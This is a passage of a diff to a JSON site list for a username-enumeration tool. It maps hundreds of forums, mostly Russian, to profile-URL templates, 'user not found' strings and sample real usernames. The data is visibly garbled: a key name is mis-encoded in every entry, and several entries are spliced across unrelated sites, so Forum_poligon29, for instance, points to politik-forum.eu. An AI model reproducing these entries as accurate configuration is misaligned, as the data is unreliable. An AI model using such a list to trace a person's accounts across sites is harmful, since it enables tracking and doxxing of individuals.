"https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + "urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
    403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + "Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + 